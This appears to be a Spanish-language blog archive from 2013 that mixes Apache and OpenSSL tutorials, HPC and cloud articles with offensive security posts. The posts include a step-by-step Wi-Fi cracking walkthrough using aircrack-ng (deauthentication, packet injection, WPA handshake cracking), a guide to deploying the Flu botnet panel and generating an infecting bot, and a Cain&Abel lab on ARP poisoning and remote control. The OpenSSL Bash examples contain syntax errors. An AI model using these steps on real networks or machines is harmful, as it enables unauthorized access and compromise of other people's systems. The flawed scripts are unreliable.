# Editamos el fichero /etc/apache2/sites-available/miweb.local
nano /etc/apache2/sites-available/miweb.local
 
# Comprobamos los contenedores y activamos las opciones correspondientes SSL:
# Comenzamos con el sitio SSL:
 
<VirtualHost *:443>
        ServerName      miweb.local
        DocumentRoot    /var/www/miweb.local/htdocs
        DirectoryIndex  index.html
        SSLEngine on
        SSLCertificateFile  /etc/apache2/certificados/miweb.local.pem
 
        <Directory /var/www/miweb.local/htdocs>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride none
                Order allow,deny
                Allow from all
                SSLRequireSSL
        </Directory>
</VirtualHost>
 
<VirtualHost *:80>
        ServerName      miweb.local
        DocumentRoot    /var/www/miweb.local/htdocs
        DirectoryIndex  index.html
</VirtualHost>
 
 
# Si tenemos un sitio default-ssl y lo habilitamos, revisaremos en ese fichero
# las rutas del certificado y activamos estas opciones:
 
SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
 
SSLCertificateFile    /etc/ssl/certs/server.crt
SSLCertificateKeyFile /etc/ssl/private/server.key
 
 
 
# En el ejemplo anterior se permite el acceso a miweb.local en modo seguro y modo normal.
# Si quisiéramos crear dos webs diferentes para el acceso seguro o normal,
# simplemente modificaríamos los directorios DocumentRoot dónde se alojan los ficheros y ya está.

Por último nos falta habilitar el nuevo sitio que hemos hecho:

a2ensite miweb.local
 
# Reiniciamos el servidor apache para aplicar cambios:
service apache2 restart

OpenSSL en script de Bash

2013-03-12T00:10:00.001+01:00

Hoy les comentaré de OpenSSL que es una herramienta muy flexible, que proporciona muchos módulos cada uno de los cuales realiza una tarea específica. Cada módulo no es un ejecutable separado sin embargo se selecciona con el primer parámetro del ejecutable openssl. Por otro lado ,cada módulo tiene una página de manual separada. Por ejemplo, un modulo llamado x509 gestiona certificados digitales X509 y un mdulo llamado pkcs12 gestiona paquetes PKCS12. Para ejecutar x509, ejecutamos lo siguiente:

openssl x509 -param1 param1 valor

pero para ver su manual debemos escribir : man x509

Probando Conexiones SSL/TLS (Secure Socker Layer/Transport Layer Security)

Openssl posee 3 módulos que nos permite probar conexiones SSL:

s_client (simula un cliente), útil para probar que protocolos y que cifrados está de acuerdo en utilizar el servidor, siendo útil en seguridad y en auditorias de funcionalidad.

s_server (simula un servidor)

s_time (pruebas de tiempo de conexión)

Para comprobar que protocolos acepta server podemos utilizar los siguientes parámetros: -ssl2, -ssl3, -tls1, -no_ssl2, -no_ssl3, o -no_tls1.

Dado que se sabe que ssl2 tiene debilidades en seguridad podemos conectar con el servidor utilizando la orden siguiente:

openssl s_client -connect server:443 -no_ssl3 -no_tls1

Si el servidor acepta cualquier protocolo distinto de SSL3 o TLS1, la orden anterior abre una conexión y espera los datos.

Para cerrar la conexión inmediatamente después de haberla establecido, escribimos en s_client:

echo "x" | openssl s_client -connect server:443 -no_ssl3 -no_tls1

con -cipher comprobamos los parámetros permitidos. Podemos buscar nombres de grupos y cifrados con man ciphers.

Para comprobar si el servidor acepta conexiones usando cifrados de un grupo NULL o LOW :

echo "x" | openssl s_client -connect $server:443 -cipher NULL,LOW

Para comprobar si se puede establecer una conexión SSL2 sin esperar más de 10 segundos, podemos utilizar:

echo "x" | timeout openssl s_client -connect server:443 -ssl2

Para automatizar más la orden podemos utilizar $? para comprobar el retorno de la última orden ejecutada por Bash. Si se ha establecido la conexión, OpenSSL devuelve 0.

El siguiente script lee nombre de anfitrión desde la salida estándar y comprueba si se establece otra conexión distinta de SSL3 o TLS1 en el puerto 443. Espera 3 segundos. Los anfitriones que permiten este tipo de conexión se escriben en un archivo bad_protocol.txt. Los anfitriones que permiten conexiones con cifrados NULL o LOW se listan en bad_cipher.txt.

01 #!/bin/bash

02 while read server ; do

03 timeout 3 openssl s_client -connect $server:443 -no_ssl3 -no_tls1

04 if [ $? -eq 0]; then

05 echo $server >> bad_protocol.txt

06 fi

07 timeout 3 openssl s_client -connect $server:443 -cipher NULL.LOW

08 if [ $? -eq 0]; then

09 echo $server >> bad_cipher.txt

10 fi

11 done

Manejar Formatos PEM/DER y PKCS12

Para convertir archivos en formatos PEM y DER podemos usar los parámetros -inform y -outform. Por ejemplo para convertir todos los certificados X.509 de PEM a DER, usaremos el siguiente bucle:

for file in*.pem;

do openssl x509 -inform PEM -in $file -outform DER -out $file.der;

done

Otra tarea común es extraer claves/certificados de un paquete PKCS12, que normalmente esta protegido con una contraseña.

Para extraer los certificados de los archivos PKCS12 protegidos con contraseña en un directorio de trabajo y almacenarlos en un directorio de trabajo y almacenarlos sin proteccion de contraseña, se hace lo siguiente:

for file in*.p12;

do openssl pkcs12 -in $file -passin file: $file.pass -nokeys -nodes -out $file.nokeys;

done

Asumiendo que tenemos la contraseña para cada archivo PKCS12 con la extension .pass

Cifrado y Descifrado en Masa

Para cifrar un archivo plain.txt de manera simétrica y escribir la salida en cipher.enc, podemos usar la siguiente orden:

openssl [ ciphername] -a -salt -in plain.txt -out cipher.enc

En consecuencia para cifrar todos los archivos .txt en el directorio actual y escribirlo en el directorio ../enc con la cifra aes-256-cbc, podemos utilizar el siguiente bucle (asumiendo que se escribe la contraseña del archivo pass):

for file in*.txt;

do openssl aes-256-cbc -a -salt -in "$file" -out "../enc/$file" -passin file:pass;

done

Podemos descifrar todos los archivos .txt en el directorio actual y escribirles en el directorio ../dec con :

for file in*.txt;

do openssl aes-256-cbc -d -a -salt -in "$file" -out "../dec/$file" -passin file:pass;

done

asumiendo nuevamente que tenemos una contraseña en el archivo pass.

fuente: Marcin Teodorczyk

Wireless Hacking ( WEP, WPA/WPA2/PSK )

2013-02-15T02:17:00.001+01:00

Wauuu lo que puede hacer un simple Script , volver loca a una mujer! .Una vez más demostrado que un informático también tiene su corazoncillo y que es un buen conquistador!!! :p.

Bueno volviendo al mundo malévolo y dejando la cursileria de lado , les presentaré un resumen de como atacar una Wireless con seguridad WEP y WPA/WPA2/PSK.

" A continuación se ponen en conocimiento de los artículos del Código Penal del Reino de España que existe la posibilidad de que sean vulnerados si se diese un uso uso fraudulento de las comunicaciones inalámbricas. El autor no se hace responsable del uso de los conocimientos adquiridos o aquí descritos. "

Conociendo las normas legales continuaremos...

Para esto a manera de concepto existen diversos tipos de ataques sobre una Wi-Fi :

*Eavesdropping

*Defraudación de comunicaciones

*Hijacking

*Man in the Middle.

*Denial of Service & Distributed D.O.S

*Spam/ Span over Voice over IP (SPIT)

*Ejecución remota de código arbitrario.

Empezando con algunos comandos en Linux :

-Viendo dispositivo inalámbrico y activandolo.

ifconfig

ifconfig wlan0 up

-Listando redes inalámbricas disponibles.

iwlist wlan0 scan

-Conectandose a una red Wirless

iwconfig wlan0 essid WifiDestroyer

-Opteniendo direccion IP.

dhclient3 wlan0

Instalación en Linux de herramientas Wireless:

• Normalmente viene instalado pero si no hay que instalarlo manualmente.

• Paquete “wireless-tool”.

sudo apt-get install wireless-tools

• Comprobar chipset

lspci | grep Network

lsusb | grep Wireless

• Instalación de Suite Aircrack-ng

sudo apt-get install aircrack-ng

Airmon-ng: cambio de modo de NIC.

EJEMPLOS BÁSICOS:

•To start wlan0 in monitor mode:

airmon-ng start wlan0

•To start wlan0 in monitor mode on channel 8:

airmon-ng start wlan0 8

•To stop wlan0:

airmon-ng stop wlan0

•To check the status:

airmon-ng

Cambio de la MAC pasos:

#airmon-ng //viendo la interfaz que usamos

#airmon-ng stop wlan0 //detenemos el modo monitor

#ifconfig wlan0 down //tiramos nuestra interface

#macchanger --mac 02:11:22:33:4B:5A wlan0 //cambiando la mac a 02:11:22:33:4B:5A

#airmon-ng start wlan0 //iniciamos el modo monitor nuevamente.

Nota:existen un sin numero de herramientas que practicamente automatizan el cambio de la

MAC :

•MAC Address Changer: (Windows)

•Technitium MAC Address Changer: (Windows)

http://www.technitium.com/tmac/index.html

A)Buscando Redes empezando ATAQUE WEP:

#airodump-ng wlan0 //escaneando redes, para detener : Ctrl + C

#airodump-ng -c 1 -w underc0de --bssid 4A:2C:56:33:76:5E wlan0 //canal : 3, capturamos

datas [no cerrar terminal]

Asociándonos a la Red (abrimos otro terminal)

#aireplay-ng -1 0 -a 4A:2C:56:33:76:5E -h 02:11:22:33:4B:5A -e WifiDestroyer wlan0

Si nos aparece algun tipo de error puede ser por lo siguiente:

-La red a la que quieres atacar está muy lejos.

-Tu tarjeta de red no puede hacer inyección de paquetes.

-el router tiene seguridad para evitar este tipo de ataques.

Inyectando tráfico (en el terminal anterior)

#aireplay-ng -3 -b 4A:2C:56:33:76:5E -h 02:11:22:33:4B:5A wlan0

Desencriptando el password (abrimos un tercer terminal )

#aircrack-ng underc0de-01.cap

Con esto al termino del desencriptado nos mostrara el password.

B) ATAQUE WPA/WPA2/PSK:

Colocamos nuestra interfaz en modo monitor de la misma forma que en el caso del Ataque

WEP.

Capturando el HANDSHAKE

#airodump-ng mon0 //escaneando redes, para detener : Ctrl + C

#airodump-ng mon0 --channel 1 --bssid 4A:2C:56:33:76:5E -w /tmp/wpa2 //nos aparece una

imagen de la red de clientes conectados

Abrimos otro terminal y en el colocamos lo siguiente:

#aireplay-ng -0 1 -a 4A:2C:56:33:76:5E -c 70:F1:A2:95:T4:5D mon0 // 70:F1:A2:95:T4:5D :

MAC del cliente

Ejecutado el comando, en el terminal anterior aparecerá en la parte superior derecho el

Handshake.

Por ultimo desencriptaremos el password pudiendo hacerse de dos formas con :

*Fuerza Bruta con el John the Ripper.

*Por medio de Diccionario.

Obteniendo el Password

Utilizando el diccionario

#aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b 4A:2C:56:33:76:5E /tmp/wpa2*.cap

Utilizando el john the ripper

# /pentest/passwords/jtr/john --stdout --incremental:all | aircrack-ng -b 4A:2C:56:33:76:5E -w -

/tmp/wpa2*.cap

Ahora sólo nos queda esperar en vista que el tiempo es proporcional a la dificultad del

password.

Existe una herramienta que también es muy recomendable por su automatización y por el

tiempo que nos ahorrará ,siendo muy usada en las auditorias.

WIFITE es una herramienta que esta desarrollada en Python y que nos permitirá realizar

ataque WEP y WAP al mismo tiempo, para esto lo descargamos :

#wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

#chmod +x wifite.py

ejecutamos la aplicación

#./wifite.py

Lo que viene a continuación es sólo seguir la instrucción del programa que prácticamente

trabajará al punto que nos brindara directamente el password de la red atacada.

David Hulton, permite alquilar en su web alquilar por pocos dólares, clusters de tarjetas

FPGAS para crackear WPA. https://www.cloudcracker.com/

Si se dispone de tarjetas gráficas compatibles, se pueden utilizar herramientas que son

capaces de procesar el ataque en los núcleos de las propias GPUs. Por ejemplo, con

Elcomsoft Wireless Security Auditor (Windows). http://www.elcomsoft.es

En Linux, se puede usar Pyrit. Este programa permite crear Bases de datos masivas de

hashes precalculados de passwords. Para ello hace uso de los multiples cores de una

maquina y de algunas tarjetas graficas como ATI-Stream, Nvidia CUDA and OpenCL.

Es el ataque más potente que se puede hacer actualmente para ataques de fuerza

bruta.

Comandos: pyrit -r captura_WPA_Wifilabs.pcap-01.cap -i dict.txt -b 1c:7e:e5:fd:08:f8

attack_passthrough

-r à fichero de captura de Handshake

-i à Dicccionario

- b à BSSID de la red

attack_passthrough

Troyano se hace pasar por el popular antivirus Avast

2013-02-12T11:33:00.003+01:00

La firma de seguridad Kaspersky ha detectado un malware que se distribuye mediante correos spam y que tras introducirse en el ordenador de la víctima se hace pasar por el antivirus avast! para evitar ser detectado.

Se trata de un "troyano bancario brasileño", cuyo objetivo es captar datos financieros y enviarlos a los ciberdelincuentes, y está dirigido principalmente a usuarios de Brasil, donde el antivirus gratuito Avast es el más popular.

Al infectar el equipo el malware muestra el icono de Avast en la bandeja del sistema. Si se pincha sobre él aparece una ventana emergente con el mensaje "Su Avast! antivirus está siendo actualizado, espere", o bien "Avast antivirus: atención, su sistema está protegido".

Antes de descargar el producto Avast falso, otro módulo, basado en el producto anti-rootkits Avenger, trata de eliminar los siguientes productos antivirus del sistema, si es que están instalados: AVG, McAfee, Panda, Nod32, Kaspersky, Bitdefender, Norton, Microsoft Security Essentials, PSafe, Avira y Avast.

Se usan muchos archivos maliciosos en la misma campaña. Tienen tareas diferentes y Kaspersky Anti-Virus los detecta como

Trojan.Win32.Delf.ddir, Trojan.Win32.ChePro.aov, Trojan.Win32.ChePro.anv, Trojan-Banker.Win32.Delf.apg, not-a-virus:RiskTool.Win32.Deleter.i, Trojan-Banker.Win32.Agent.jst y Trojan.Win32.Delf.ddiq.

Parece que los cibercriminales brasileños piensan: “¿Para qué combatir las detecciones de antivirus? A veces es muy complicado. Mejor reemplacémoslas con nuestras propias soluciones falsas y todos salimos ganando”.

http://www.infospyware.com

HPC en la nube con StartCluster

2013-02-12T02:01:00.001+01:00

Hola, por ahi les comentaré un artículo que encontré de "Garvin W.Burris" que habla HPC basada en la nube. StartCluster es un proyecto del Massachusetts Institute of Technology (MIT) elaborado por Software Tools for Academics and Researchers (STAR), el Kit de herramientas es de código abierto y se distribuye libremente. La última versión de desarrollo se encuentra en el sistema de control de revisiones Github. Es prerequisito para el uso de StarCluster disponer de una cuenta de Amazon AWS. El ejemplo que mostrado sólo les deberá costar lo mínimo(céntimos) por el uso de una pequeña cantidad de almacenamiento en disco Elastic Block Storage (EBS), así disponiendo de la cuenta abrimos una terminal en Linux local.

Primero creamos un directorio para el proyecto llamado starcluster:

$mkdir ~/starcluster ; cd ~/starcluster
$curl -0 https://raw.github.com/pypa/virtualenv/master/virtualenv.py
$python virtualenv.py cloudhpc
New python executable in cloudhpc/bin/python
Installing setuptools...........................done.
Installing pip........................done.
$.cloudhpc/bin/activate
$pip install starcluster
Downloading/unpacking starcluster ...
Sucefully installed starcluster ssh boto
workerpool Jinja2 decorator pyasn1 pycrypto
Cleaning up...

Al ejecutarse StarCluster lanzará un error , preguntandonos si queremos crear una configuración nueva. Seleccionamos la opción 2 para crear un fichero de configuración por defecto.

$starcluster help
StarCluster - (http>//web.mit.edu/starcluster)
(v.0.93.3)
Software Tools for Academics and Researchers(STAR)
Please submit bug reports to starcluster@mit.edu

!!! ERROR - config file ~/.starcluster/config does not exist
Options:
---------
[1] Show the StarCluster config template
[2] Write config template to~/.starcluster/config
[q] Quit

Please enter your selection: 2
>>config template written to ~/.starcluster/config
>>Please customize the config template

editamos dicho fichero de configuración estableciendo los valores correspondientes. Asegurandonos de sustituir nuestras creenciales. Añadimos Parámetros a la configuración:

$nano ~/.starcluster/config
[aws info]
AWS_ACCESS_KEY_ID=YOUR_AWS_Access_key_ID
AWS_SECRET_ACCESS_KEY=YOUR_Secret_Access_key
AWS_USER_ID=YOUR_amazon_userid

creamos la clave SSH para el acceso por la Shell remota a los nodos del Clúster , introducimos el siguiente comando:

$starcluster createkey -o ~/starcluster/foocluster.rsa foocluster

Especificamos la imagen y tipo de instancia:

$nano ~/.starcluster/config
[key foocluster]
KEY_LOCATION=~/starcluster/foocluster.rsa
[cluster smallcluster]
KEYNAME=foocluster
NODE_IMAGE_ID=ami -d3ce7bba
NODE_INSTANCE_TYPE=tl.micro

Iniciando el Micro Cluster de dos nodos

$starcluster start -s 2 foocluster
...
>>>Using default cluster template:smallcluster
>>>Validating cluster template settings...
>>>Cluster template settings are valid
>>>Starting cluster...
>>>Launching a 2-node cluster...
...
>>>Configuring cluster took 1.154 mins
>>>Starting cluster took 2.305 mins
...

El nodo principal de un cluster se denomina nodo maestro. Listando los cluster en ejecución:

$starcluster listclusters
...
Uptime:0 days, 00:04:05
Zone:us-east-1d
keypair: foocluster
EBS volumes:
vol - 4c048437 on master:/dev/sda (status:attached)
vol - 4f048434 on node001:/dev/sda (status:attached)
Cluster nodes:
master running i -6a10c710
ec2-50-17-57-111.compute-1.amazonaws.com
node001 running i - 6810c712
ec2-23-20-255-177.compute-1.amazonaws.com
Total nodes: 2

Visualizando la cola:

$starcluster sshmaster foocluster -u sgeadmin
[sgeadmin@master~]$ qstat -g c
...
[sgeadmin@master~]$qhost
...

El estado muestra que tenemos 2 hosts con un hueco de CPU cada uno en la cola de trabajos all.q Pero por qué se utilizan estas CPUs?como ejemplo usaremos el método de Montecarlo para calcular el valor de PI:
$grep -v local /etc/hosts | cut -d" " -f2>~/hostfile
$nano pi.py
$mpirun -np 2 -hostfile hostfile python pi.py
3.14192133333

fichero pi.py
01 from mpi4py import MPI
02 import random
03
04 comm=MPI.COMM_WORLD
05 rank=comm.Get_rank()
06 mpisize=comm.GET_size()
07 nsamples=int(6e6/mpisize)
08
09 inside=0
10 random.seed(rank)
11 for i in range(nsamples):
12 x=random.random()
13 y=random.random()
14 if (x*x)+(y*y)<1:
15 inside += 1
16
17 mypi=(4.0 * inside)/nsamples
18 pi=comm.reduce(mypi , op=MPI.SUM, root=0)
19
20 if rank==0
21 print(1.0 / mpisize)*pi

Crearemos un script de trabajo especificando el entorno de paralelización ,para usar la cola:
01#!/bin/sh
02#Export all environment variables
03#$ -V
04#Your job name
05#$ -N pi
06#Use current working directory
07#$ -cwd
08#Join stdout and stderr
09#$ -j y
10#PARALLEL ENVIRONMENT:
11#$-pe orte 2
12#Enable resource reservation
13#$ -R y
14#The max hard walltime for this job is 16 minutes (after this it will killed)
15#$ -l h_rt=00:16:00
16#The max soft walltime for this job is 15 minute(after this SIGUSR2 will be sent)
17#$ -l s_rt=00:15:00
18echo "Got $NSLOTS processors."
19#The mpirun command.
20mpirun -np $NSLOTS python pi.py

enviamos con el comando :
$nano pi.sh
$qsub pi.sh

comprobamos el estado del trabajo con el comando qstate. Tras finalizar la salida de trabajo podemos encontrarla en el fichero $JOB_NAME ó $JOB_ID
$qstat
$cat pi.o1
...
Got 2 processors.
3.14192133333

Cuando hayamos finalizado, tenemos que asegurarnos de salir y finalizar todas las instancias (porque la factura se basará en las horas de uso) introducimos las siguientes líneas:
$exit
$startcluster terminate foocluster
...
Terminate EBS cluster foocluster (y/n)? y

Para aprender más de StarCluster del MIT podrán encontar información en :

http://web.mit.edu/star/cluster/docs/latest/contents.html
http://github.com/jtriley/StarCluster/wiki

Instalación y Operación de un Troyano

2013-02-06T23:33:00.000+01:00

"Hola Mundo" .... En el presente post trataremos de ver como podemos instalar y operar un troyano para eso los requisitos del presente laboratorio serán los siguientes:

· Cain&Abel 4.9.7 o superior.
· WinPCap 4 o superior.
· Windows 2000/XP.

Descripción:
Cain&Abel es una herramienta que presenta varias funcionalidades. Nos concentraremos en su habilidad como troyano (Abel).

Instalación:
1. Realice la instalación por defecto de la herramienta haciendo doble clic sobre el archivo ejecutable (ca_setup.exe). Durante el proceso, se le consultará sobre la instalación del driver WinPcap, haga clic en “INSTALL”.

Desarrollo:
1. Inicie la aplicación “Cain” haciendo doble clic sobre el ícono presente en el escritorio.
2. Del menú principal, seleccione “Configure”. Asegúrese que el adaptador de red seleccionado sea el apropiado.

3. Seleccione la solapa “APR (Arp Poison Routing)” y verifique los valores seleccionados. Desde esta solapa, usted también puede enmascarar la dirección MAC con la cual se llevará a cabo el ataque. Una vez verificados los parámetros haga clic en “OK”

4. Haga clic sobre el botón “Start/Stop Sniffer” para activar la captura de paquetes. Siempre es conveniente activar el “símbolo radioactivo” ya que es el apropiado para redes segmentadas.

5. Del conjunto de solapas superiores seleccione “Network”. Haga clic derecho sobre “Quick List” y seleccione “Add to Quick List”. En la ventana “Computername \ IP Address” ingrese la dirección IP de su compañero.

6. Expanda el árbol perteneciente a la dirección IP de su compañero. En este punto usted será capaz de listar usuarios, grupos, servicios y carpetas compartidas. Algunas de estas características dependerán de los permisos que usted tenga sobre la máquina remota.

7. Con el objetivo de elevar sus privilegios haga un logon al equipo remoto con un usuario con permisos de Administrador. Para esto haga clic derecho sobre la dirección IP de su compañero y seleccione “Connect As”. En la ventana “Credentials required” ingrese las credenciales con permiso de Administrador y a continuación haga clic en “OK”.

8. Una vez conectado como administrador al equipo remoto usted tendrá acceso al listado de servicios. Podrá identificar cuales de ellos se encuentran en funcionamiento y cuáles no, además, podrá arrancar y parar servicios en forma remota.

TROYANO FLU B0.5.2 WINDOWS

2013-02-06T23:23:00.003+01:00

Bueno hoy día si he tenido un día súper pesado por el trabajo y las clases que fueron más teóricas que prácticas les comentaré el día de hoy , de una aplicación que vimos en las clases del MUSI al menos para darse algunos jueguitos se puede decir que está bien... Flu es un troyano orientado a la construcción de botnets, también conocidas como redes de máquinas zombies. Se encuentra diseñado con una arquitectura cliente-servidor. El servidor consiste en un pequeño ejecutable programado en C# que permitirá infectar cualquier sistema operativo Windows, incluyendo Windows 7, para conseguir el control de la máquina en la que se hospeda. El servidor web, donde se ejecuta el cliente, se encuentra desarrollado en PHP y corre sobre Apache. Su objetivo es enviar comandos a todos los servidores Flu alojados en las víctimas repartidas por Internet, para obtener información de las máquinas en las que se encuentran instalados, y almacenarla en la base de datos. La información de los usuarios podrá ser consultada en el servidor web en cualquier momento desde una interfaz gráfica desarrollada en HTML, PHP y JQuery.

En el siguiente gráfico veremos como la comunicación del cliente y el servidor de Flu tiene dos direcciones:

Flu es un troyano que se compone de tres partes principales, un ejecutable desarrollado en C# que se instala en la máquina que se desea infectar. Que hará las funciones de un servidor en una arquitectura de troyano reverso (cliente-servidor). Una segunda parte que es un programa desarrollado en PHP y que se despliega en un servidor web Apache. Que hará las funciones de cliente en una arquitectura de troyano reverso. Y una tercera parte que es una base de datos MySQL instalada en el servidor web donde almacena los datos recogidos de las máquinas infectadas.

Para instalar nuestro cliente en el servidor web, simplemente seleccionaremos todos los archivos que contiene la carpeta “Servidor web”, que encontraréis dentro del archivo comprimido con todos los elementos de Flu, y los arrastráis en la carpeta raíz de vuestro servidor web.

<?php
$dbhost="localhost";
$dbusuario="root";
$dbpassword="";
$db="flubbdd";
$conexion = mysql_connect($dbhost, $dbusuario, $dbpassword);
mysql_select_db($db, $conexion);

?>

Para la instalación de la BBDD se requiere tener instalado MySQL.

Para infectar una máquina habrá que generar primero un bot en el que se configurarán la ruta donde se encuentre el index de nuestro servidor web y la ruta donde se encuentre el fichero XML con el que se realizará el envió de los comandos a los bots. Para ello ejecutaremos la aplicación “generadorBots.exe”

Por defecto aparecerá el dominio localhost, deberá ser sustituido por vuestro dominio en caso de que sea diferente. Ahora se pulsará el botón “crear”:

Nos solicitará el lugar donde queremos guardar nuestro bot. Después nos solicitará el archivo “flu-nucleo.exe”, lo abrimos:

Si todo ha ido bien, nos aparecerá el mensaje: "BOT CREADO"; y tendremos el ejecutable “flu.exe” listo y configurado para infectar:

Para configurar los ataques que realizaremos contra las máquinas infectadas accederemos a la consola principal de Flu. Para ello en nuestro caso nos dirigiremos a la ruta “localhost”. Y nos encontraremos con la siguiente pantalla:

Los datos de autenticación por defecto son:

Usuario: Admin

Contraseña: 1234

Estos datos se pueden modificar desde el panel de control, en la pestaña “gestión de usuarios”.

Nota : Flu acepta todos los comandos que se puedan ejecutar tanto en un CMD como en una consola de Powershell (si el equipo infectado cuenta con ella). En caso de querer enviar comandos de Powershell será necesario anteceder la palabra “powershell” a cualquier comando.

Para mayor profundización y estudio les sugiero que visiten la página oficial de Flu donde podran realizar las descargas, ejemplos de los comandos de flu y demás : www.flu-project.com

Impactos da computação em nuvem

2013-01-26T02:34:00.001+01:00

Como os CxOs buscam outras maneiras de atender à crescente demanda de TI, muitos estão bem perto de passar a enxergar a computação em nuvem como uma opção real para as necessidades de sua empresa. A promessa da computação em nuvem é revolucionar o mundo dos serviços de TI transformando a computação em um utilitário ubíquo, aproveitando atributos, como, por exemplo, maior agilidade, elasticidade, capacidade de armazenamento e redundância, para gerenciar os ativos de informação. A influência e a utilização contínua da inovação da Internet tem permitido que a computação em nuvem utilize as infraestruturas existentes e a transforme em serviços que as empresas poderiam fornecer tanto para economias significativas de custos quanto para uma maior eficiência. As empresas estão percebendo que existe um potencial para aproveitar essa inovação para servir melhor a seus clientes e obter vantagens comerciais.

Por oferecer às Empresas a oportunidade de dissociar suas necessidades de TI de sua infraestrutura, a computação em nuvem é capaz de oferecer, a longo prazo, uma certa economia às empresas, incluindo a redução de custos de infraestrutura e modelos de oferta de pagamentos por serviço. Mudando os serviços de TI para o sistema de nuvem, as empresas podem tirar proveito do uso de serviços em um modelo sob demanda. A redução de despesas de capital inicial é necessária, o que permite às empresas maior flexibilidade com novos serviços de TI.

Por todas essas razões, é fácil compreender porque a computação em nuvem é uma oferta de serviços atraente para qualquer negócio em potencial que deseje aprimorar recursos de TI enquanto controla os custos. No entanto, convém notar que, junto com os benefícios, vêm riscos e preocupações com segurança que devem ser considerados. Como os serviços de TI são contratados fora da empresa, existe um risco adicional de contar com uma dependência maior de um provedor terceirizado para o fornecimento de serviços de TI disponíveis, flexíveis e eficientes. Enquanto muitas empresas estão habituadas a gerenciar esse tipo de risco, as mudanças são necessárias para expandir abordagens de administração e estruturas para tratar adequadamente as novas soluções de TI e melhorar os processos comerciais.

Como acontece com qualquer tecnologia emergente, a computação em nuvem oferece a possibilidade de recompensa elevada em termos de contenção de custos e recursos, como agilidade e velocidade de fornecimento. No entanto, como uma iniciativa “nova”, ela também pode trazer um alto risco em potencial. A computação em nuvem apresenta um nível de abstração entre a infraestrutura física e o proprietário da informação a ser armazenada e processada. Tradicionalmente, o proprietário dos dados mantém controle

direto ou indireto do ambiente físico que afeta seus dados. No sistema de nuvem, isso não ocorre mais. Devido a essa abstração, já existe uma demanda generalizada de maior transparência e garantia de abordagem robusta de segurança do ambiente de controle e de segurança do provedor de serviços de nuvem.Uma vez determinado que os serviços de nuvem são uma solução plausível para uma empresa, é importante identificar os objetivos comerciais, bem como os riscos associados à nuvem. Isso vai ajudar as empresas a determinar quais tipos de dados devem ser confiáveis para o sistema de nuvem, bem como quais serviços podem oferecer maior benefício. O que é exatamente a computação em nuvem? Uma das questões mais confusas em torno do sistema de nuvem e seus serviços relacionados é a falta de acordo sobre as

definições. Tal como acontece com todas as tecnologias emergentes, a falta de clareza e de acordo muitas vezes dificulta a avaliação e a aprovação dessa tecnologia. Os dois grupos que têm oferecido uma base de definições são o NIST (National Institute of Standards and Technology, Instituto Nacional de Padrões e Tecnologia) e a Cloud Security Alliance

(Aliança de Segurança da Nuvem). Ambos os grupos definem a computação em nuvem como um modelo para permitir o acesso à rede sob demanda, de forma conveniente, a um conjunto compartilhado de recursos de computação configuráveis (por exemplo, redes, servidores, armazenamento, aplicativos e serviços) que podem ser rapidamente fornecidos e lançados com o mínimo esforço de gestão ou interação do prestador de serviço. Outra forma de descrever os serviços oferecidos no sistema de nuvem é compará-los ao de um utilitário. Assim como as empresas pagam pelos serviços de eletricidade, gás e
água que utilizam, agora elas têm a opção de pagar pelos serviços de TI em uma base de consumo.

O modelo da nuvem pode ser composto por três modelos de serviço (figura 1), quatro modelos de implantação (figura 2) e cinco características essenciais (figura 3). Riscos e benefícios em geral poderão variar de modelo para modelo e vale ressaltar que, ao apostar nos diferentes tipos de serviços e modelos de implantação, as empresas devem considerar os riscos que os acompanham.

Como pode ser observado na lista de características na figura 3, existem muitas abordagens e constatações relacionadas à computação em nuvem. Os benefícios às empresas, bem como os riscos, serão variados, pois dependem dos tipos de serviço e dos modelos de implantação escolhidos.

Os benefícios comerciais da computação em nuvem

Embora a promessa de economia financeira seja um ponto bastante atraente da computação em nuvem, muito possivelmente, a melhor opção para as empresas é a simplificação de processos e o aumento de inovação. Com ela, é possível aumentar a produtividade e transformar os processos de negócio através de meios que eram extremamente caros antes do sistema de nuvem. As organizações podem se concentrar em seu negócio principal em vez de se preocuparem com o dimensionamento da infraestrutura. A solução das demandas de pico de negócios para o desempenho pode ser facilmente encontrada usando a computação em nuvem, ou seja, através de backups mais confiáveis, clientes mais satisfeitos, mais dimensionamento e margens ainda maiores.

Alguns dos benefícios-chave oferecidos pela computação em nuvem são:

• Contenção de despesas — O sistema de nuvem oferece às empresas a opção de dimensionamento sem sérios compromissos financeiros necessários para aquisição e manutenção de infraestrutura. Os serviços de nuvem exigem pouca ou nenhuma despesa de capital inicial. Tanto os serviços quanto o armazenamento são disponibilizados sob demanda e com preços definidos sob o sistema de pagamento Pay-As-You-Go. Além disso, o modelo de nuvem ajudaria a economizar no desperdício de recursos. A economia de espaço não utilizado nos servidores permite que as empresas reduzam seus gastos com relação às exigências de tecnologia existentes e experimentem novas tecnologias e serviços sem precisar de grandes investimentos. As empresas deverão comparar os custos atuais com as despesas do sistema de nuvem e levar em consideração os modelos TCO para compreender se os serviços de nuvem poderão oferecer uma economia em potencial para a empresa.

• Imediatismo — Muitos pioneiros da computação em nuvem citaram a capacidade de fornecimento e utilização de um serviço em um único dia. Isso se compara aos tradicionais projetos de TI que podem exigir semanas ou meses para serem desenvolvidos, configurados e aplicados aos recursos necessários. Esse processo tem um impacto fundamental sobre a agilidade de um negócio e a redução dos custos associados aos atrasos.

• Disponibilidade — Os provedores dos serviços de nuvem têm a infraestrutura e a largura de banda necessárias para fornecer acesso de alta velocidade, armazenamento e aplicativos. Como esses provedores frequentemente apresentam caminhos redundantes, existe uma chance para o balanceamento de carga a fim de garantir que os sistemas não sejam sobrecarregados e que os serviços não sofram algum atraso. Embora a disponibilidade seja uma promessa, os clientes devem se certificar de que eles terão as devidas provisões em caso de interrupção dos serviços.

• Dimensionamento — Com capacidade irrestrita, os serviços de nuvem oferecem mais flexibilidade e dimensionamento envolvendo as necessidades de TI. O fornecimento e a implementação são realizados sob demanda, permitindo aumento de tráfego e reduzindo o tempo para implementar novos serviços.

• Eficiência — A realocação das atividades operacionais de gestão de informações sobre realocação da nuvem oferecem às empresas uma oportunidade única para concentrar esforços na inovação e pesquisa e desenvolvimento. Esse processo abre as portas para o crescimento comercial, bem como o crescimento do produto, e ainda pode ser mais benéfico do que as vantagens financeiras oferecidas pelo sistema de nuvem.

